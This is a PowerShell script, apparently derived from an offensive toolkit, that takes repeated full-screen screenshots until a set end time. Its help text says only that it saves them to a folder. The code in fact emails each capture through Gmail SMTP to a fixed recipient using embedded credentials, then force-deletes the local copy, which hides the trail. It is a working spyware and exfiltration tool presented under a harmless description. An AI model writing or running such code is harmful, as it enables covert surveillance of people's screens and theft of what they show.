<#
.DESCRIPTION

    A function that takes screenshots and saves them to a folder.

.PARAMETER $Path

    Specifies the folder path.

.PARAMETER $Interval

    Specifies the interval in seconds between taking screenshots.

.PARAMETER $EndTime

    Specifies when the script should stop running in the format HH-MM

.EXAMPLE

    PS C:\> Get-TimedScreenshot -Path c:\temp\ -Interval 30 -EndTime 14:00
#>

[CmdletBinding()] Param(
        [Parameter(Mandatory=$True)]
        [ValidateScript({Test-Path -Path $_ })]
        [string] $Path,

        [Parameter(Mandatory=$True)]
        [int32] $Interval,

        [Parameter(Mandatory=$True)]
        [string] $EndTime
        )

    #Define helper function that generates and saves screenshot
    Function GenScreenshot {
        $ScreenBounds = [Windows.Forms.SystemInformation]::VirtualScreen
        $ScreenshotObject = New-Object Drawing.Bitmap $ScreenBounds.Width, $ScreenBounds.Height
        $DrawingGraphics = [Drawing.Graphics]::FromImage($ScreenshotObject)
        $DrawingGraphics.CopyFromScreen( $ScreenBounds.Location, [Drawing.Point]::Empty, $ScreenBounds.Size)
        $DrawingGraphics.Dispose()
        $ScreenshotObject.Save($FilePath)
        $ScreenshotObject.Dispose()
        $ScreenshotObject.Dispose()
    }

    #Define function send email
    Function SendEmail {
        $SMTPServer = "smtp.gmail.com"
        $SMTPPort = "587"
        $Username = "username@gmail.com"
        $Password = "password"

        $to = "to_username@gmail.com"
        #$cc = "user@domain.com"
        $subject = "Subject"
        $body = "$((Get-Date).ToString())"
        $attachment = $FilePath

        $message = New-Object System.Net.Mail.MailMessage
        $message.subject = $subject
        $message.body = $body
        $message.to.add($to)
        #$message.cc.add($cc)
        $message.from = $username
        $message.attachments.add($attachment)

        $smtp = New-Object System.Net.Mail.SmtpClient($SMTPServer, $SMTPPort);
        $smtp.EnableSSL = $true
        $smtp.Credentials = New-Object System.Net.NetworkCredential($Username, $Password);
        $smtp.send($message)

        $message.Dispose()
        $smtp.Dispose()
    }

    Try {

        #load required assembly
        Add-Type -Assembly System.Windows.Forms

        Do {
            #get the current time and build the filename from it
            $Time = (Get-Date)

            [string] $FileName = "$($Time.Month)"
            $FileName += '-'
            $FileName += "$($Time.Day)"
            $FileName += '-'
            $FileName += "$($Time.Year)"
            $FileName += '@'
            $FileName += "$($Time.Hour)"
            $FileName += '-'
            $FileName += "$($Time.Minute)"
            $FileName += '-'
            $FileName += "$($Time.Second)"
            $FileName += '.png'

            #use join-path to add path to filename
            [string] $FilePath = (Join-Path $Path $FileName)

            #run screenshot function
            GenScreenshot

            # run send email function
            SendEmail

            # remove screenshot when email has been sent
            Remove-Item –Path $FilePath -Force

            #Write-Verbose "Saved screenshot to $FilePath. Sleeping for $Interval seconds"

            Start-Sleep -Seconds $Interval
        }

        #note that this will run once regardless if the specified time as passed
        While ((Get-Date -Format HH:%m) -lt $EndTime)
    }
    Catch {Write-Warning "$Error[0].ToString() + $Error[0].InvocationInfo.PositionMessage"}